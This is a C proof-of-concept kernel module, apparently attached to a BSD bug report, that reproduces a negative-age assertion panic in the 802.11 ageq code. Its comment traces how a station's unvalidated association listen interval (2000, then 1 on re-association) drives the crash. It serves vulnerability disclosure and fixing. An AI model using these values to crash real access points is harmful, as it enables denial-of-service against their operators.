DF-3466 / ageqpoc.c
/* * DF-3466 PoC — negative relative age in ieee80211_ageq_append. * * Reproduces, at the exact ageq layer, the values a DWDS attacker drives: * hostap.c:1966 lintval = le16toh(assoc-req listen interval) (unvalidated) * hostap.c:2130 ni->ni_intval = lintval; * wds.c:335 age = ((ni_intval * ic_lintval) << 2) / 1024 * i.e. with AP listen interval (ic_lintval) 100: * station assoc #1 with listen-interval 2000 -> age (2000*100*4)/1024 = 781 * station re-assoc with listen-interval 1 -> age (1*100*4)/1024 = 0 * 4-addr frame staged after the first -> head stores 781 * second 4-addr frame -> append age 0 - 781 = -781 * -> KASSERT(age >= 0) at ieee80211_ageq.c:116 fires -> panic on INVARIANTS. */ #include "opt_wlan.h" #include <sys/param.h> #include <sys/systm.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/socket.h> #include <net/if.h> #include <net/if_var.h> #include <net/if_media.h> #include <net/ethernet.h> #include <netproto/802_11/ieee80211_var.h> #include <sys/mbuf.h> static struct ieee80211_ageq pocq; static int ageqpoc_modevent(module_t mod, int type, void *data) { struct mbuf *m1, *m2; int error; switch (type) { case MOD_LOAD: ieee80211_ageq_init(&pocq, 16, "ageqpoc"); m1 = m_gethdr(M_WAITOK, MT_DATA); m2 = m_gethdr(M_WAITOK, MT_DATA); kprintf("ageqpoc: append #1 age=781 (listen-intval 2000)\n"); error = ieee80211_ageq_append(&pocq, m1, 781); kprintf("ageqpoc: append #1 rc=%d aq_len=%d\n", error, pocq.aq_len); kprintf("ageqpoc: append #2 age=0 (reassoc listen-intval 1)" " -> relative age 0-781 = -781\n"); error = ieee80211_ageq_append(&pocq, m2, 0); kprintf("ageqpoc: append #2 rc=%d aq_len=%d (KASSERT off?)\n", error, pocq.aq_len); ieee80211_ageq_drain(&pocq); break; case MOD_UNLOAD: default: break; } return 0; } static moduledata_t ageqpoc_mod = { "ageqpoc", ageqpoc_modevent, NULL }; DECLARE_MODULE(ageqpoc, ageqpoc_mod, SI_SUB_PROTO_END, SI_ORDER_ANY); MODULE_DEPEND(ageqpoc, wlan, 1, 1, 1); MODULE_VERSION(ageqpoc, 1); |